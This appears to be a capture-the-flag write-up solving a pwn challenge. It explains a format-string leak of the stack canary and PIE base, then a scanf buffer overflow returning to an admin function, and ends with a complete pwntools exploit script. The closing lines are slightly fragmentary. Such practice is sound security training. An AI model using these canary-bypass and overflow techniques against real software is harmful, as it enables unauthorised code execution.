Give this challenge a try! This challenge provides good practice in determining what security measures are in place, identifying vulnerabilities, etc. Try to independently write this exploit from start to finish. If you need help, a shallow solution will be available below.
checksec
shows a canary and PIE are enabled. It appears to be a simple login system.
Both inputs use scanf
, which doesn't check size. The scanf
regex string is %s[^\n]
, which scans for a string with a newline at the end. Then, it ignores the newline and stores the string in the buffer.
The first input is subject to the format string vulnerability. The second input will be used for the buffer overflow. Based on the second input, the padding is 0x38
bytes to the canary (rbp-0x8
) and the canary is 0x8
bytes from the return pointer (rbp+0x8
).
Doing some quick math, we get that the canary's format offset is 15
and the PIE leak is 19
. This makes the format string %15$p|%19$p
.
From here, we need to receive the leak and parse it for each value.
Then, write a standard canary payload with the canary's padding, the canary, the padding to the return, and then return to admin
. The admin
function loads flag.txt
into memory and prints it.
Here is the exploit I used to accomplish this:
from pwn import * elf = context.binary = ELF("./chall") p = process() p.recvuntil(b"Username: ") p.sendline(b"%15$p|%19$p") leak = p.recvuntil(b", Password", drop=True).decode().strip().split("|") elf.address = int(leak[1], 16) - elf.sym.main log.success("BASE:" + hex(elf.address)) payload = b"A" * 0x38 payload += p64(int(leak[0], 16)) payload += b"B" * 8 payload += p64(elf.sym.admin) p.sendline(payload) p.interactive()
This gives us the flag:
ret
gadget:payload += p64(elf.sym['_init'] + 22)